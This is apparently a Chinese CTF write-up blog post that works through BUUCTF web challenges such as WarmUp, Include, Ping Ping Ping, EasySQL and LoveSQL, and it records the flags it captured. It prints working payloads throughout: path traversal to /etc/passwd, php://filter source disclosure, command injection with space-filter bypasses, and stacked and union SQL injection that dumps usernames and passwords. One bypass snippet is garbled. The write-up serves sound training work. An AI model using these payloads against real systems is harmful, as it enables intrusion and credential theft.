BUUCTF--Web篇详细wp_buuctfweb

    }
    -->

**传了一个变量 然后是`GET`请求 如果`cat=dog` 就会输出 `flag` 构造`Payload:/?cat=dog`**


![在这里插入图片描述](https://img-blog.csdnimg.cn/29c90a53d7ed459090861f43314b1d0b.png)



> 
>  `flag{86e415ca-8d55-4868-afb3-ec58d239dbb7}`
> 
> 
> 


### [HCTF 2018]WarmUp


**打开网页看到滑稽图 直接`F12` 然后访问这个敏感信息 `source.php` 直接看源码**


![在这里插入图片描述](https://img-blog.csdnimg.cn/764a22bf97df438a9f02ddd6090cd780.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/cada015cec4b4317a4ca3cccc89e7dbb.png)



<?php highlight\_file(\_\_FILE\_\_); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is\_string($page)) { echo "you can't see it"; return false; } if (in\_array($page, $whitelist)) { return true; } $_page = mb\_substr( $page, 0, mb\_strpos($page . '?', '?') ); if (in\_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb\_substr( $_page, 0, mb\_strpos($_page . '?', '?') ); if (in\_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is\_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "
"; } ?>

![在这里插入图片描述](https://img-blog.csdnimg.cn/50d2a3ccf81f4da19250449b7169b3f2.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/d96312cb3203431386fdd36fcf2b1189.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/aed1f0f3528a46509ee084a9cf066963.png)



> 
> `flag{313235c5-75b2-4e8a-b225-8e7413865bc7}`
> 
> 
> 


### [ACTF2020 新生赛]Include


![在这里插入图片描述](https://img-blog.csdnimg.cn/0d78570eab7b45ba92598c12274b31a5.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/f60c102239174cc3a57bab95e0820578.png)  
 **这里我们看到了`?file=flag.php`我们猜测是文件包含漏洞 我们可以通过伪协议去读取想要的信息**


**文件包含分为本地文件包含 和 远程文件包含(`php.ini`可以进行配置)**



allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)
allow_url_include=On/Off 远程文件包含(RFI)


**常见的文件包含 函数:`PHP:include()、include_once()、require()、require_once()`**


* **`Require`: 找不到被包含的文件时会产生致命错误(E\_COMPILE\_ERROR),并停止脚本;**
* **`Include`:找不到被包含的文件时只会产生一个(E\_warinng),脚本将继续执行;**
* **`Require_once`:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;**


**用法:`?file=../../../../../../../../../../../../../../../../etc/passwd`**


**`PHP`伪协议:**


* `php://filter` 用于读取源码
* `php://input` 用于执行php代码


`php://filter`使用:



php://filter/read=convert.base64-encode/resource=xxx # 用base64编码的方式来读文件flag.php


**Payload:`/?file=php://filter/read=convert.base64-encode/resource=flag.php`** 然后`Base64`解码就可以得到`flag`。


![在这里插入图片描述](https://img-blog.csdnimg.cn/3ea77f0b824c4b4cb95cd03ad02d142b.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/5317aa71de5f4b4480b4dd5ea8da92a9.png)



> 
> `flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}`
> 
> 
> 


### [ACTF2020 新生赛]Exec


![在这里插入图片描述](https://img-blog.csdnimg.cn/22ef4a7194114788862cface912df778.png)  
 **简单的命令执行 : `127.0.0.1 || cat /flag` 即可得到`flag`。**


![在这里插入图片描述](https://img-blog.csdnimg.cn/8837f06cada14539a5c0cdb7461a581b.png)



> 
> `flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}`
> 
> 
> 


### [强网杯 2019]随便注


输入`1,2` 输入`3`的时候发现报错了 说明只有两个字段  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/98fffcc4f2e14277b1353d1d08f8a825.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/1601aaaeee8c42a5b22e6478a9cfd13d.png)  
 先放着 还没研究明白这题


### [GXYCTF2019]Ping Ping Ping


![在这里插入图片描述](https://img-blog.csdnimg.cn/2cc4648f9eb246f084fdb2c49be4de91.png)  
 **输入:`/?ip=127.0.0.1` 有回显继续过滤 `|| ls` 发现有`flag.php`文件 这里看到`space` 提示是空格绕过**


![在这里插入图片描述](https://img-blog.csdnimg.cn/6aa0aa3ea4e44ffd993fb19dde77ffdb.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2633299bc19844c29e8b981c76969c2d.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/50352dce01ec4849a43db81b61a611dd.png)  
 **这里可以参考:<https://blog.csdn.net/a3320315/article/details/99773192>**



{cat,flag.txt}
catIFSflag.txtcat{IFS}flag.txt catIFSflag.txtcatIFS$9flag.txt: $IFS$9 9指传过来的第9个参数cat<flag.txtcat<>flag.txtkg=9指传过来的第9个参数 cat<flag.txt cat<>flag.txt kg=9指传过来的第9个参数cat<flag.txtcat<>flag.txtkg=‘\x20flag.txt’&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)


**这里第`1`种方法不行 可能是`{}`被过滤了 直接看第`3`个但是还是过滤了 在尝试一些`index.php` 这里可以看到源代码 进行代码审计!**


![在这里插入图片描述](https://img-blog.csdnimg.cn/000761a907d644c0adac4a028c12f8c1.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/d7980ac137e04eb981b7d44b11f5a288.png)



/?ip=
|‘|“|\|(|)|[|]|{|}/”, $ip, $match)){
echo preg_match("/&|/|?|\*|<|[\x{00}-\x{20}]|>|’|“|\|(|)|[|]|{|}/”, $ip, $match);
die(“fxck your symbol!”);
} else if(preg_match(“/ /”, $ip)){
die(“fxck your space!”);
} else if(preg_match(“/bash/”, $ip)){
die(“fxck your bash!”);
} else if(preg_match(“/.*f.*l.*a.*g.*/”, $ip)){
die(“fxck your flag!”);
}
a=shell_exec("ping−c4".a = shell\_exec("ping -c 4 ".a=shell_exec("pingc4".ip);
echo "

";
print_r($a);
}

?>


**可以看到这里过滤了很多 这里方法有很多种 我就一种吧(比较懒)**  
 **内联执行:将指定的函数体插入并取代每一处调用该函数的地方**



`` 反引号 在linux中作为内联执行,执行输出结果
cat ls //执行ls输出 index.php 和 flag.php 然后再执行 cat flag.php;cat index.php
构造Payload :?ip=127.0.0.1|cat$IF$9ls


`  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/487d5214dc9a4d4fa672ce2246d7e592.png)



> 
> `flag{ae43eee7-f909-4d59-b405-e52f3347c18f}`
> 
> 
> 


### [SUCTF 2019]EasySQL


**考点:堆叠注入**


**这里输入`1,2`有回显`0`有没有 字母也没有 尝试`order` 发现也被过滤了回显 `Nonono`**


![在这里插入图片描述](https://img-blog.csdnimg.cn/02813a574dcb4bcca809ba87f4e3ea95.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/1d7ac0dc12ef490f843d893974a53cb4.png)  
 **这里我们尝试一下堆叠注入 `1;show databases;` 发现有回显**


![在这里插入图片描述](https://img-blog.csdnimg.cn/8f0bd3e268094c4fba517042e21db510.png)  
 **查看数据库的表`1; show tables;` 发现 `FLAG`表 继续查询`1;show columns from`用来查询表中列名称 (发现这里也被过滤了)**


![在这里插入图片描述](https://img-blog.csdnimg.cn/7a8e84ef6ed449f980aaeb34faf48d76.png)


![在这里插入图片描述](https://img-blog.csdnimg.cn/a5979fdc7c39454f8ca60b307873bc90.png)  
 **其实做到这里就没思路了 去看别的大佬的文章 得知这里需要猜测后端数据库**


**sql内置语句:`sql=“select”.post[‘query’]."||flag from Flag";`  
 `*`没过滤 输入`*`,`1`就相当于构造了`select *,1 || flag from Flag,`这条语句执行起来相当于`select *, 1 from Flag`**


![在这里插入图片描述](https://img-blog.csdnimg.cn/abb6a9253af0476e98358ea7f6fa9cf4.png)



> 
> `flag{7533aecc-59b3-49c3-a374-6d20ab6edbd4}`
> 
> 
> 


### [极客大挑战 2019]Secret File


**直接`F12`查看源代码 看到了一个`./Archive_room.php`进行访问,使用`BP`简单抓个包发现了 `secr3t.php`**


![在这里插入图片描述](https://img-blog.csdnimg.cn/e6c5e1ec225e414c8524830eceb2bf7d.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2b7f08322a6d4bf49479d471273bde6c.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/b9acb79edaeb4558bc26470e378119a2.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/0d68cc43753748d9bf2a177399cba39b.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/d50b50205ec04cc69590dc3ee0a28c33.png)



secret <?php highlight\_file(\_\_FILE\_\_); error\_reporting(0); $file=$\_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里 ?>

**这里访问 `flag.php` 他说在里面 发现没有然后看到刚刚源码的 `include()`函数 存在文件包含使用伪协议(上面有讲怎么 使用)**



> 
> `构造Payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php`
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/17a9e0b71c304176976f4f1edc0d89bc.png)


![在这里插入图片描述](https://img-blog.csdnimg.cn/3e0f955f468b41128ae9c6bdb3e289d9.png)  
 **Base64解码:<http://www.jsons.cn/base64>**


![在这里插入图片描述](https://img-blog.csdnimg.cn/98d0883b46fc47be9aee561fdf63a2e3.png)



> 
> `flag{a402233a-9fc9-4d14-8c45-5dc839309887}`
> 
> 
> 


### [极客大挑战 2019]LoveSQL


**考点:联合注入**


![在这里插入图片描述](https://img-blog.csdnimg.cn/6658c89b58184c36ab0ee7ec91129474.png)  
 **使用万能密码 `1'or'1'='1`**


![在这里插入图片描述](https://img-blog.csdnimg.cn/5c5504010c2d46b7998f47246c1f9578.png)



1’ union select 1,2,3# #联合查询查看 字段


![在这里插入图片描述](https://img-blog.csdnimg.cn/61161b52c3874a60bc4d3a37f550c56c.png)



1’ union select 1,2,3,4# #


![在这里插入图片描述](https://img-blog.csdnimg.cn/e5bc9ed9165e4030ad3249d662704a9b.png)  
 **这里输入`4` 报错 说明只有`3`个字段**


![在这里插入图片描述](https://img-blog.csdnimg.cn/0d96a41c4af64aaf99dfc1074731816e.png)



1’ union select 1,2,database()# 爆破数据库


![在这里插入图片描述](https://img-blog.csdnimg.cn/6a9102bd73a2437780231503aa47133c.png)



1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’# 爆破geek表


![在这里插入图片描述](https://img-blog.csdnimg.cn/f2a0b8d38e5c48d0902283abddf7b484.png)



1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’# 爆字段


![在这里插入图片描述](https://img-blog.csdnimg.cn/d352d3acd92d4cd291c2a68f0daee6f6.png)



1’ union select 1,2,group_concat(concat_ws(‘~’,username,password)) from geek.l0ve1ysq1# 用concat_ws函数连起来全部看一下


![在这里插入图片描述](https://img-blog.csdnimg.cn/758da3abf87e43c3bec654b6357e5b33.png)  
 **这里F12太长了看不了**



> 
> `flag{95ef6cab-f872-44ad-b725-ccaffc73865e}`
> 
> 
> 


### [极客大挑战 2019]Http


**考点:`HTTP`伪造请求头**


**知识点:`HTTP`请求响应头**



referer:告诉服务器我是从哪个页面链接过来的(网址是跳转前的网址)
X-Forwarded-For: 用户访问服务器的 IP 地址
Content-Type:标识发送或接收到的数据的类型(使得http传输的不仅仅是文本还可以是图片视频等)
User-Agent: 使用的浏览器版本信息


**先`F12`查看一下源代码发现了`/Secret.php` 这里给了提示:`https://www.Sycsecret.com` 需要从这个`url`请求发送 直接抓包 改一下。**


![在这里插入图片描述](https://img-blog.csdnimg.cn/c8c1e69952284ea496c1d210d80ff91a.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/3a7413b3be4d49f89c6fc418241eed42.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/ee3f09ea33504d338141e861ba6eaa28.png)



referer:https://www.Sycsecret.com
User-Agent:Syclover
X-Forwarded-For:127.0.0.1


![在这里插入图片描述](https://img-blog.csdnimg.cn/ce3dba8e6aa048f0bac7384112447b4c.png)  
 **然后又给了提示 需要使用`Syclover`浏览器 然后又提示本地访问!**


![在这里插入图片描述](https://img-blog.csdnimg.cn/9e66955bf91542c49e465d56d4f7226c.png)


![在这里插入图片描述](https://img-blog.csdnimg.cn/44920d402a86405f81d68eb841b55963.png)



> 
> `flag{728bec5d-fa79-4344-960b-c21796344bab}`
> 
> 
> 


### [极客大挑战 2019]Knife


**考点:一句话木马和`WebSell`工具的使用**


![在这里插入图片描述](https://img-blog.csdnimg.cn/bd33ea1533f649d59af390efda213882.png)  
 **这里直接给了提示和密码,直接尝试用蚁剑进行连接 连接成功!!**


![在这里插入图片描述](https://img-blog.csdnimg.cn/ea3b86ed51254e4c863ba145e4489db1.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/07ec89efb95742fa849f60643748d58d.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/48027370c8fb42fb912f14135b5da49c.png)



> 
> `flag{051fb5b7-4039-4242-9a69-eeb6e3c1e42b}`
> 
> 
> 


### [极客大挑战 2019]Upload


![在这里插入图片描述](https://img-blog.csdnimg.cn/8c63cac4f0ac43a9969a0a80f10a2896.png)


![在这里插入图片描述](https://img-blog.csdnimg.cn/b585cabf85ab481c878b3f6f84ac9f09.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/0bd8512c36b14944af625bda74c0cb25.png)  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值